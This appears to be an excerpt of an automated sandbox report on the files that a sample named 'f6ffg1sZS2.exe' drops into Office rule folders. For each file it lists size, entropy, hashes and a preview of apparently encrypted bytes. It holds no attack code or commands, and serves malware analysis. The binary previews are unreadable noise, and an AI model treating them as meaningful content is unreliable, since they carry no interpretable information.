Preview:	<?xmlxA.A....o2lG..P {.....Z.<F.Pt.:..H..YJ",.R..G...H.d.w.v5....xv!..Rm.....K{.,.s .#_\|.=J.d".)d.=...$.X...XT]..8..`.!../."lS.D..e....+..b.,...V....5...m.......?.K....\|&........5.&..;;].9.......D.D;)....G.[-...E..I...[....3.K.L&.....-...e..C....j..+i..d..w.......D..v...7....+..:1v.2d~.B[.........w\|.....?...eVD......."..7a\.?........m@..3>.NL........m.........4....<.8.>..!..,....O....!=...;A.v.......%S4..u+.....B..7..v..F......+....Y...#>.....W..=b..`a..c....m.k..m......._..:.$.....\X.HM...H.$.....yB..r..fS.....b.p.&.x.>.z..)$.2{.m..h7.m..U.AT.......7]..r.\.J......d_.`..d..\.;.}.a.........e.%fP.\_K.J.....;#[.3pb.\|..E0..<.......k.D..........d...{..M.G.mUi..._.}.d..5.m)..~...)ZuN..H.V:' .E......h9.o.iy?..B.....A.zkd.P...,C........&...{...cp.I..DO...L........L......[.m....{@...A.[,Eb.%!.?#t......s..z9.~&S..z.S.W..&.. ....J...X."tU..Nr.KNyE_..a......Z...o.3.2q..ad....D.....:.p.$^...Q....,2.[...3b.sp5n%\.~.....0.....h..(&....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.729599652492711
Encrypted:	false
SSDEEP:	24:zI4qRl7lKyy8EKpebfT/yFMQSyISr0g+F/DIKCQtzCsX5+NbD:fMtQOLpyT/y+mIS0gI/EAVoD
MD5:	B2B4CF9CF035ECB4A4AE40C5D310886F
SHA1:	96AC6D44B9EA7FB72F425F50BEF5C28B0C8CB015
SHA-256:	36D0F446BD746B092DDA35260943D10B3B9BD5DC2357A8D75BDBBA085B212C1E
SHA-512:	F9FE6A930E63C44DA0CD4D7CE29B112B2671CAB29F4FD3C93401010DE6BAFAF30071B54376006D2852CCCD28235FC128211C78108C32777A3C3AB3BB5A77E674
Malicious:	false
Preview:	<?xmlHqk..(..0d._..........R..K.l.....i\"x~_...I...R..Y..........#.W_....-..C....,z@.......Ph.....s?...}.iu..s4..~F.~g.. .\K#g2..\|I?co.....!..r.......$.m.o.Y..}..P&..r.t...<#c..X..+v...=8.?.#.h....jLo...t..,e..&....x{..m@....I9F........I66."V..'...Vl...Q.Kc..S!_pX... {........./xO...^.......r{..HDAD?_Q]H.j.h.........>s.O..w.\w5.C)_.]Z..T...L.{....({....a.OC...VxO/N... .s...L..\|.z.K`."t..~...N\|K..s.E/xP.\|E.rd...T...',.0..k....Ie..e..Z...C..<9.I..zt.w..~.H.]"..3.B..s.i..\|.(=)...ht....U..@.ZM.r:geM.C=..1.U..bg3..."..4...0.<v..)....oR..#..:\o.....M...g.._.......Y+.....<.z.ew..KyY...7:)..g....z*.tGR..vt.v.{.e..7..0}27..ch7.q.....hD..Q...UD..y`.:)D.6.<.F.J.....T.E=wl....F..1.K..........&_g....2=.... CI#....)S..9\|.h.@.;9.....FN}.HJ.hi.%..+N...l..R...h.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.6219158175892145
Encrypted:	false
SSDEEP:	12:WaB9Yfwoix3tqr2vy7oJYKvrM3WNawq1XwB609avxs5t1Byfj/rqMIr46mLES2cq:W89Y3w3JfYKzYIRqpS99l5t1BSmMw461
MD5:	650850C1BF359484FE5D8EF60A3F9640
SHA1:	E02FCFA1D575DC0FC1D5BE3CD560E423C125500D
SHA-256:	A45B34649D6B8851AC5A66D1F8C6BFBA641484D883652E658C711CFFACBF8302
SHA-512:	160E317EDD21D6E0B7561FE973C878F0223141835D032C4F520B18C6D6A9FF07E5E26A43E3E667B29B9887103A1683112B440D50C9093594384BFD555D66E24C
Malicious:	false
Preview:	<?xml..z...{.E:....`.2.o1G=..n...?.B5...h.....v.i..).u....;.@7Y..^..4nD..._g.t..tGb......i.......A.N..JB...W.A..}q.ee#(..P.....p..j=.n]V%..N$Oo...K\|.c........5.<I........Y.&.....D-.K.....^..W.....3d".&.mv..j.DRb?..<....v.t..Y5.^..Y.....5....Q...ZdSM...f.^......?....H+...hX..t.yfG.`..'.....d.4...q..&.....>zS.W..u.79....S3......U..S%...m6~i.j.fH.^....E..H...nxr....WmYXn."..qE.....;.].6..Jc].N.o./ ..C.....v.2...h,.R.*..0....i)...}....h.e.].....P.[..D.q4.PM..2..S.dE...k...........:.IN`.....wZ.N..:h..&..."....Y...R.....0L....g(..+F..b._xp;..-..tR3`..5...I..4...s"...8....;.uX:L2...<u/?.l..V..s.k.e..>.......A..`.SQ..o^LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.881299972440076
Encrypted:	false
SSDEEP:	48:eQEzaUFzRmbxL9Y+dVw6sq8RsSFyGRXOGl1jEzSbNB5D:3bZbxXVwNqunFy8eK1BV
MD5:	E5273E533AD95A47E35B8947729A0DEA
SHA1:	3C09398F8232787175FBE8790F4028D9B0AF35F0
SHA-256:	7C22EA246B5F3AD79F50B548C896A5E46140ED831B2FDFC2323178870C643BD6
SHA-512:	7EAAB58DF01700EE2168A88FCCCBDFEA174AB38AD225D0C27D6FE1D19F9D11319190B1057DDE14B63B8263A174ED4332985C928BFC8AA2B11D971A6B01166198
Malicious:	false
Preview:	<?xml`..}..!....s..:..!.E....NOy......'e..?Ph.4.X.$..z..xl...F.e@.X.$p..D....f..Q.`K3....\|.>C0.C.]..f..#Q....O.@.i...b..g..HN......\.@..bcd>....i.N~]d}vM.uLL..\. q.@.......7.j...S9}Q..O.7...WS.X\...0N-...g.....k#..G.{.X..no.....bd.U......?....J.......U3.....b../...l...@.).R..9@....-.....-..O...M....9.t....J..N..."...r..R.....%.7&.....N...2.v..xT_..`F<....k`.O..+?..sV.O.....&L.Tt.a....u....[4\|.....g....qj.....g.....@..Z.K..vY..z..A1..N./9h".....o...k.#.T!..t........0.>....i.......4.....0......y..)Bl..Z(...&.'..n...,T.s.g....x...X..h..Q.?f.U.....h..4..8,r....&....U........U........O....d..VQ....3...~dGW].&....L.f..;U..g...>#.h.....E..M.V....73n...n.J#...>...._. :.k\|+F.& V..p .9....9..W......~...Pd~.t.D,[........Jf/+....D#N......ABY.a.A&R.^3d.^.........Qt.(R.....t.....g>..:...l"...)...%..9..-J....1K4.....cc.0..5FH(.....H.....Z@.u..;..\|.9x<....w]c..u .....j........?...De.+..t&..c.b..1H.%...J.<L.{.{5J.`...Q..z)....sN.K.....\.\|. BOT7.].>..).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.897014596664898
Encrypted:	false
SSDEEP:	48:yBF4qm/Lho5t5SiDHn0axxCCvAk5k+XIwjD:yBPP3n0axxRlR5
MD5:	A6A36280BD88CC1D353CBA7BF3FD7B97
SHA1:	D99B2FBFFBFBF54191149644C1A7E07123DDE0A6
SHA-256:	4886B523D57F72104204E2E0C51CE71D4A2826ADDF743459FF45B4AE108AA644
SHA-512:	E2D24E00FF6B6EF06FC7B5DE50F8386E5C51868103E00A840D89903F50C06834BCEA5AA0ADEF7CBC5627DD035381298199CF060BEC5487EABB48A3F70C468E57
Malicious:	false
Preview:	<?xml.8...%)....A.h..^....._.r..W..;.6X....!uW.....8xg.V.W....[..bU.;Q"......<.....\..G...4e........'....6L..F...:F..tl..Fu]'../.dec....A...7......2P.H.......O......p....n.p....x{).+....:h..1....=j...........]f+....hb.....?..F(..6....3.n.].j.6...?z.e.......0.&Z.sF.........=.kX.d[...p.r.].xM.n..6.....a8smR}..>..l.G..J4..Q..X...0..5.{z.Y..$m'.....\|.B..9OQ_.!....n.............T,.@...w.l".Y..M..o.!...AN._...u..r$~...S-y.`&..j..-.H..[....P........}..o...ggi`.....`..t..r..3.&D.. H.....k.G.Pmu...0.K.h+...E..K..?d]...b}b{...X....V.qHr74.4.....n...i.=w)%-.......h.....P..OB5(H8..6..%.2.h.}..Cj"`...%:,..=...../......2..J....L.f..3....L:ci...I817.0.4.gT.....S......Q....9.-..=X...1.....a.....u.J..Ah$m.v.L./..DP.8...1.D.i...DE,}+e....V..._N...e..%..5U....q..>.8.h,&..3......^.K..%\...t.h.8..W....w.yI..J<@g^.Y....D.O...=..P(......[......SzG.........l..Eho.^tO.b.......~....'w...,y...Z4...{..n.e45O...q/...,.q..v.N......I.....K..v...+.........~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.69919721003513
Encrypted:	false
SSDEEP:	12:WoZtjh1TZZjxkzrNUqK67ZIvHdDqae2wSJr1MDh2SDR0vzyUpGAPS2cii9a:WoHjD7SHNUqKQ0ne2wSJr1MMS90vI4bD
MD5:	CFF3B6D2B5AB1BBF14C710932989D07C
SHA1:	6607E05C6FA964200D50B6EAC484D4215049F4F2
SHA-256:	A565DB30E256C0DA0EAF86D2ADC99B8A4FAA37BCE4E1AC1FF0621165AAA944B0
SHA-512:	190EF59EDC278165C210CDDB3FDEDEC2EEB262BE6D5D4D5C9606D76CA447A02C434C580C8711D9673FA7561E174FAFFA23D96F3EBF4E2D89DDA52F4AA17609BB
Malicious:	false
Preview:	<?xml.On$.o...J........e.8#Y.'i.v..,.i!.;>..e'.".6.p.E...s.~}M. O....B..c....3...1g.!.,&.A..n$.b.'\dj5..wb!U...JR....ZA.....[.....8.j%....M?E9..... .NQ...7..Xr.p.d%Y.t....ii&.....8s.5......?,D.T.B..d..4w.,p.......[.<Blr.[b..!...):.....l...a..p.]>.IDC#......t6.>.x...:q...?'...[?.3..B1j.\PO.c...L....K......4..8.E.=..5..............'F.....EJ.[...}B5......../.......\|..`..."...@.Y.+.<x.k'...`.`..p...?.$j..Vg.a....=`.t.._f....m.aD....O....1'.....(...B....-.?jN.g~.g[ib.D..,%.o.C.a.PC.."?.;._..(.......P.@.R.._#........#...<x....0.\|q..iq..{...Vzc.........)..H.~"..Y....V.j*e.t..P.8 q.....+.!z....\|S.\|ex..5.k..'...=..i.d..v.F.j..8..}:...Ua`..G..c.-p...v.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877320438475555
Encrypted:	false
SSDEEP:	24:OgYfcj+cLto0kDT9hY+OGu1VjuItVvnEErFV2yDK9lYtw4T2lQo/fjjCU0qhc4Gh:6gLCp96FE+nnlGLYKG2PX0qhKhY1LOD
MD5:	E430B2BC6A75E40D41130B1895BA3172
SHA1:	7370342DCEF29DD3CF2F976A75B39DA3FDB3A718
SHA-256:	5C9B8159D89C5EFCE7AA09FD0512CA071523EA00E7B57AC510BE14E54BFC3E31
SHA-512:	CD6462187E4D89DE0D9EFA44BB58FD7BDC5A61E90C4BAF4E30F0C0B22A8F7E49E09938FFBE278678CC1FB076940E0EBA2F2721842B230BD3A7CA4458C6F1FC5B
Malicious:	false
Preview:	<?xml..~.A...w.W.6..[a\|.).....G:..IT..L...p..R5s............P...._\|..A.WM.6_....AG..1t.....x.o....Z.a..7..x[....2..W.{..n..C..g...pi.......o...BB.+..k.9.]......bDF_~o.D.......=....JnM.o8U.z$J...b.L...4..m..{..`$..(.. ..E..l..V.GS5.......o...mOC!{w.}..gFB......oJ..mK`.;.......z...#.QPy,zt).4..q...U:{..=.O.E:c.......r.#q..C..5.........r......?_.A&;6M.&.s.3....#...L#..O.F.r.}v..u7...n[.C#&Zc.N..y`)....,..Cq.$..m0...;...d..]....X..KC./.u...u..@M.@a..!uJ9..I.Y .$.PQZ.f#...Z._......P..p K.`g<.....%..0]..TLu....cC..g..aD^..Z.....&....[?.1].)f..7n.K...4...4...(.:..._@2..['.c..C.3....o[..b...,y$o..O.?.>.K .Jr\&....2X..j.)....(....k.....U).W..$..0:^..\.S.kD.N.f..#..p:.`:.G....X}...O..6._..@..j2z/..... .g.bg..@.oC.lp@.(....b...Y.\.]....WX.....eLS/Dlf....k.:.2.....}....s.<.B..{........1........@..oY8...:.u...M.p.MP..&..\|.9...f.K..Q.T..].&..Yw4...A....\|z.Co.7].l\|U._\|..<...&....y.qd>..I...D..s.............$...c..flx.)....Rxd...(....7I8.D.<......VQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628754604045115
Encrypted:	false
SSDEEP:	3072:34ApzSsiGJleQhilBuA+v+UODhj97Xifk43FWiqX0P5M:9WsVH1A+WNiMwqkq
MD5:	26332DAB4DE24C1CF11D2D1A37D39F46
SHA1:	E9B8B2D6A5FCB28B085A86087F6CB9FC5CBB15C8
SHA-256:	4E74924A2378BF7226F60846AC317E86FB48E4580B529AC76245C032E851E4E3
SHA-512:	DF33219CB1D608A9021F211DCBE0C890FEDACE03F22B615E1C25BE71F3310EDB347B0317478F7A1EED98BA8DD04DE63E7071418445F486E2BAE7FAC748778B3A
Malicious:	false
Preview:	<Rule.>#.;Ta...$.d.:.N..t`...@.Zr..........9Vl...;4....5...8..la......-.....X. %..G.).,?D..)....7.."..m.RQ.....H.J.^...........i..\|`.F..nv2.\.M.....B....w.$._fx....v!...QE.%n_P.....S.........\|.....2.....T..D..A.b..kC.$}.s.E.....v....2N.Y....D?.."..So.......bF}.......\......7.hs.....%.g.....K..Z.._..(..... !..X..6....>w..o...Q......Q..`e'PlI..plnd.i..\|.7...oi...s..X....FX.P......^.".P[1..l.'.8$.=o.{.B~..?._.?...^..fy.0... ...)+"8u.E...j...znt.....w..kP.............8.).)...^.\g..WV.[.....m.v......?.[......)n...z9yly...oY,...........m.....&.D.i,.,...~...U5]..)[M.%.......S\..rr].;.....a..........S.dn]OW..3ZL.@g-...H1..[....g...D....3../.........."kz.......U...fQ.2.....8...e...o........v7x#.......x&I{.n./ ..$.....m...H.j.....Y...].>*+{F}.v.U{t@ ....O.W.,U..c...oz...}._Q/...P.%h.E....2..B5.M..-....m.x.....SKe....y.M.....5..:..kc...bS.t=..D3z-a....]...3.N.)]...y.[+.G.t..Vq..$+.1.WQ....Urj..bnU..1wf:..bh..{.a...>Z.Y..n......F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.861588735046737
Encrypted:	false
SSDEEP:	24:79dWpz5EbwSKGuKredYez0NLz5Zy+RiLRtTaL/uraxeGoEYzmbD:BdEVEbFKWezcZHWqqWxe54D
MD5:	CF43C755D1D329118DC36C4EF6D49D29
SHA1:	318B5800A9F7236AB4B1A92E11FB4A5C101A665F
SHA-256:	CF367A6AA5B71942225917D43393742D898DB5C4BEFC9B6724E216942E3B5E79
SHA-512:	51523E212CE53777A7515C3FAC6773CFDAD56F30ABF7BDEF619C09F1A83BC778E846517CC332002E1C04B7FC0861A7C4F317E27617B6A75FB229D2622F2C1FCB
Malicious:	false
Preview:	<?xml...X..z..E....1,..6.......9.eE2..`9.d..!W..SS...p.W...3q......w......:.../........T.............$...sa...F[..G....,.u...#..KBf.F...)..9...-.....6...1.....E..w>(..S.g..qivH.G.......j.....).Y=[....=...{.U.5....?.Q.o.Z.<s5..d.QV.....m........bd.Q.?c0]....\..J17....\|^...#o.....D....A..wH..e......K.I..y.&..I....~.........;...,....I?......u..9Vg..b.p<!....8k.g.-...K.W[...k?Y;e..YV.N.E.F.G.}.I.......[.o..Vg..q.KO...J6<.~.L...KLB}<..2..OK.FA".f......0.gu/'..N.(W......F....I.\.....-oW...76..g#t.w....O!....U3.....='A...@..OIqEZ-.=....uIM..e.....0(..#....hjN<.h....(.D.rJ.M.#.[I.........."........$F[..B.E.i...7t........V.d....~....O..s.R1hYp......(..A.(..I.....+....y..9..S....P!...72S..a........R...e.W..P...F.f.....s...S..5p..SL.....Dem.>...L.7.."..O,.e..1.0.....4J......,+x.5....i...4.ZE...2.v.h...fX..x...z.kPCc<.r.E0........61.*.h...t.I..bp.....c...]....3...........Kr......v.J.A8k.PL.G....h.....9{,....k.W...F...{U..(.y.=H...TR."X<.0jK..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.871182732747047
Encrypted:	false
SSDEEP:	24:pG4K2jQ5JXkruCxFOZqSKOMRix5QGnuEPF5TzHOEmHu2ZcqJ0E0ajGnVkXbD:pG7AQn0HjrSxMR4vljzi5Zcm0HVkrD
MD5:	AD064250F9C4D8FC6F8058FE304C82BE
SHA1:	16EAE5974EB0FBBA5C7B55D38A180A85EBEF419F
SHA-256:	D8B572E1BFCAA2B5A8EA0FBD4D49D43514EFD4AD7BF95F5EAB854E26C385E974
SHA-512:	382BDD43C700545B3854585FD0D700F72E4B686C72510B060818ED53749018F5F86B000C71FDEC81D7F37DC1A78F8A6318D2FDD871562B4C1067115C89045BBE
Malicious:	false
Preview:	<?xml.....$.pyP.]..\|..i.F..s.._9^.Y.+..1...$.HB..[.sXY..L.6..Ogj...Z?.o.....v&V!..z...".n...R.(.S...:L.K..v.<...2.b....YX.x6...9...r^.U...._fuF..{.....u..+......(.....xty&h."<k.....1......_...v..........%....ebu.....#......@#<..&@.5.JH...!.FtV1.d.....c.xX..i.......t..;v.Y$.......3...Y...#p..p.t#q.....J..q.8..{..%...I`n.gO.Yso...t.G:..b..`h\.....jS.t.-7..'..Y.J.H....(!=..d..f.....K..b.E.?.Qv..$....xwlZwJ9I..nw...R.i..Do.D.F.!K..U.{>v..C..X.3Mb..At..@..Fa$.-.K;...........y.i.^..z..%v 6J../..7..\...?...h.H.hV..{B..s.....L..p,.....h....l^..Z+...S..J..4.E....L(.0.wF$wR...Zz.N..n.V...e...^...1...FQ+j._X7.`.[.Q..J_W.a.....Z.~k'..N.mx]8.qO.Q+_.n.E...K:XP...+..N.....7,...4.`.~....3.....CE]...]r....&v_nL.S.x.v.L.s5..c...4.Y.c......\|...]3...'.U....)t,54.8..7.>...P`._l..k>U.s...7..n//...T)@js<.VsO..C+..P....q..9..!L.s.0..q..C-.(GA....p..7..`.&...[...*...)..v...j.....f......06.A.-.K.].8..jNV..........h.Z.._%@.....wF..'...9.k..nt.0...;y.'.8..8..ux.A.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.887258212944156
Encrypted:	false
SSDEEP:	48:7QbR6PtSS4wVFiHGJfsZvRRUjxI4iLJKbU8ef+ndjHYqD:766PtSmVFiHMsZcjiAbU8ef+Si
MD5:	FB305C79DFF312BF947C460897AB8791
SHA1:	57D850AC0A4AE20CC5E0C6F5A1C227F4BD600F91
SHA-256:	97C9DEE7F2A558534E4484838C035333222B75C3AAA1618DA3A0DB973A993CDB
SHA-512:	A2E3188C5A812507D4BEC7898978997C1AC66D14F1A387D256F773B2B3DE991256ED62FAC9E9E914FA9F0A6BABC85ABF07F0EC38864E787AF49C6B3C3E933C8A
Malicious:	false
Preview:	<?xmlRm.'..6.....XO..A\BfS....HH..htk..E.*...j....._gL.TO>fh^<.1...}.P.....4_yR..r.../axEw..<,d.............$......>..G...=..im'..OG..#t.!zS1U/r.@.....G......J..<.{....p.`:....?x\|F..B...F.N.WQ.\.I.G.......\|.0 4.......w..r..;...< ...Z.+.r.B...._.I.v...::V.?.....".`. .w.e..[.....__...I...}.........8.. <.....Rf...ngW_B....+...K.!~..."..+....B".c..kI.P./}.V..r..G5.1.....~...= ....$....O6..(Q.A....C4.....St4...[....1.o.y>..mJ6.....i.....YC..u0#1.9......R...w.n>.LR.~X=qF......B.I7.w....(dqx....M......O....F......C.AfQ1.6.u..]5...P......RBE..]..fI..7fs.O5.r..U.a.J....S.U.AtO....u..=.n8..JpmS.5...k.=+...<t.2y(e.6f..Qg..fRj'Y......6{S.\.M...F.(:5q...mA...F.r..}....c...1L.T..B.HyuuK..mb....Jq..H.u..c.f...=..w..}.r.u.&^o..y\|>.P...+.3~.t..@...G..lm..."SN.K.-.{.:I#..1.....;.V.'...S..@[....%p.\.1.R._@.Y..}.O0.V.C..OR._.8l..*zO9.L%..4.{fI..X.K>.....U...X..A....,_...1,W.2.1pT..H.uAq7....=.p4.:...K.A.J.=....1h2...K.0......o....-.m...,...w.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8869487144457375
Encrypted:	false
SSDEEP:	48:+nK9FNPg6km0ToBSAcaEaVbnPuLtHgRrYaslBRUJMfIJDD:pEm0YjbetHIEaszRUJpJP
MD5:	DB9D715BB1D50D005F7593C1CB927743
SHA1:	2B0E53A6C7F2727FA39CB5B5E747A81E16E72950
SHA-256:	9A1313392F755801C9D0E3486184CF0980D22957E654E86971F1EF2D4D135F4F
SHA-512:	B32975C30BE9ED3CFD4698347E42F3D224CFE195BBC4EF2B7E74FDF396DEC43F437D4CC7B92B001DFE40CAC82E9ADD24A01AD1E94D0F6EB047618502DB319D9D
Malicious:	false
Preview:	<?xml.}..X\Ci......M>G..1l.Z.._^Tp.....~1>..1da.....>..u.........w.D..y?.....uB.....\..]..3..B...:....7.....7PmG..%...Z[.F...+jyH'.Fd....@$..?.X...+.5Z....f.X..AM#.......(p......7.......H&.@.@Y.L.g..#.Pa..R..H.e.....h2..H..l...o.b..'<.\~...TN.d...TL\|....]...t-..W}Lq.....`&(G]s....Y.....'{.vNEF^o\..... x.y....F.#...x.....a.G....R..........;i...T............j...e...A..2..2.^.j.9Dn..A..MH.....o......(...Z..^A..2...j....m..T.........".=....y..9..s..^....0IJ..}...>.E;...NF}.9....<....8W...`..wQ..bn....V....p.\|C#..u\|..r..W.^.6zh.)g.8.'.........d.."i..j8r...f.sX7..U).2B....._.\|.!T.:3.......2..<..W..[.C.?.U.,^;....../M_...k5pg..F*...Cv_...P..?@..v'[...l.#7.IG..o.J... ......."NBy....T.s.r.1.n..EM...1......fP....9.....,ja7..3.2.u.0....L.\...(U@..H...(.su-T.....[V...&..9...=@m..`...xp..&..>d.f}Q..F.,AS...-....O..X.r..P...tDk....A...h..tv-.MD.!.!Q. Z...?.0....].s.).k>D.BA.6UA..:.8.C{=.@'s...b_.^...J.............6bR....(\|...#....P....e..A....q.....]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.881137119615818
Encrypted:	false
SSDEEP:	24:WN8+UkMxHCR1EI7b+TgnUXnUrqwmMVKV/BMWjRzd+L7ljud9pUO7ILVR+aGc1hbD:88V/HCRznUXnyVk/aWpdm7xuPprIR+aD
MD5:	7AB6B377A6C201FD946595CC816A87AA
SHA1:	F976D8144C67E00C53344D7E9DA2C8EF38F0720D
SHA-256:	6793E0D73FBF53A785990191868ABAE77768D69662B7E56B4DD7470350F4A040
SHA-512:	6EB0B06C70E849845284B36E7562D0514C17CA79741C93292E467949465D923F1109EAEE3B0E0FF9393A6ABD6DDF85A681BA73C5156F24FF6FD8AF49A3C1E106
Malicious:	false
Preview:	<?xml......._ 9..7.(.).5."......WH)5E..[.....h(c..1.)...BBV.$.....VX+P......B4../......ke.X.I...xU....V...../.'...V\2C..p.......h........W.PO.R/.\|.T...T.......&.Lc@...]o.0..F1Y.b1..v.0_.....<M....Cw.......b1..S..lm.Go.@8t3..DJ[....Jt.V.?...Q.T.U.E..J..u....Cn8.A..y\|#H<d.W&.R..x...b....{+y.... ..%.g:.....;T.e.B......a.,W....O!.#.N..m....P .`e.a...H......5D...CaR._..5T.......w....i......Id.XdP..W2.w...G.NS...-BY8.&\|....]......B..B..r..l.Z..y,=......:....\.8..xA...V..Z..;\.A..(.B...&9f..L_i.zE...Z.F...M...J1...}......;.$..../~. .m..6....4......tK...#..'Ah...Z.1.. rWW.......S1.s...... .cW..S.=.sJ..S=..Z..)@.m.......!..J...P...j.c...}0{.....K..k.....u....5.2.....vd..A.zG..un.4)@5sH.J...{k.$R..x.rX...i$....0.!.n.Fm.j..J.:AW.7G....W.....u...Ip..5..........4..U.....L.NT.^k..,...`.....5...1'...........o...}....,)...{.-.ul@W....4..2..c....G.-....7...f.0......+.\..,W6..{.BPY1..!.~x...m]x....<..:R..->.2...O...J..)..8KbI@8..?..?...H..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.90531719582345
Encrypted:	false
SSDEEP:	48:64zD19K2eiKwc6Wu4RZ22NxIkIqSAk7lsD:rD1TttfO2yxIkIqbk7lI
MD5:	4B40904BCEC5B3F9F494B9EE1B1C26FA
SHA1:	C107220D38947C6170D7E6FFF6D6414847AF969B
SHA-256:	80BD7100B757F8FADED7FEF8A3AD8B35B0FAC3190B6AC1F5C8ECDEEA248CC4AA
SHA-512:	EE9F7E78F01EFA9C3B4BB8E9485162BF6CA4235093E6F866FA00D6E5C00A6635A0400DE4C534001FC747A91D9078011ED4BFE43D0F445A895C536498E5F0BE41
Malicious:	false
Preview:	<?xml.rM.z...M...o-.k..t8...T..".......N.....i@..::..G.l=.^[.exV.{.#...)?z.....~.%.._...).1..R.k....7,..S....x.."........,O-beD..../...R.7.!..rq.]....j..#T.e>_.A...U.c...A.F...S....nN...s.`.Xu.8&+..\|.3..L.....u......Aw.M....:SZ<J.....e.C+.^..O...N...R..J\P2He.G6T..v..O.Z...u!&....7.v.rD._v.@b..54-".G....8.......4.:,..S...$..j..@..&..l.i.'I.e.X~.z....D....k~\|.L.....e..A...i".n.h.<T.p...m...!Z<?..M..?LA:.9K.........&BT.L.%...._.V.?.v'.l.;...uh.Rs.C;b(. ....a\..;..Q.....T.R.....>A....7.R.3.L.S.T.~J.v2n...#^X.....n.L.....9R.D0e.I.F%.].9...#T..V..lM....m......%.cN..d.=s.0d..[........p.X.....1.k2,._W..)...^Y\...A.....~z..VDq.[..\.0....Y..."5....1.&.}....Q%....-[..n'x..}....da...f..5.wK.8Xk...<..7..g.Di...T......r.k....&.....w+...?:3..G.ZG..B...hC.U.o..K.)`,.]..........}..~.M...{0....7.B..%g).Vr..-..{x....=.84<a.'....O..I.i.......w..7..Y;...M.1...H..f..."\$..M..s.:.K....+".+...~....i[...Y.l../..0.2qRcO^E....2B4.U9.?S.1.$..8.^3_..AP.5R.V.H\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.898509496504596
Encrypted:	false
SSDEEP:	48:+rFeOy5HOnkRzGTp2Mi8TL5qESvk9BU0Xj6aEVqBhD:O4pHgSzGcMieRB8aEOJ
MD5:	8C7C34574CED2C62ECDFCD6BFB959F9B
SHA1:	4C254F3C83D2DE85FE85FFCDDBD87246BE8FE4D7
SHA-256:	E5F48D5584BC3B9901E69BFCA9ED85CC97D4EA38FE4A06BA327D85B76A123D20
SHA-512:	74C1E3DE275C1583EC300C4FEC63D74DD11241CDA3BD356C1C69F7F1D4BC6D3BC034BE2B11D9E138E66DC6E61AEF7505307CDB2CB386A75A3B10FB0A370BB24A
Malicious:	false
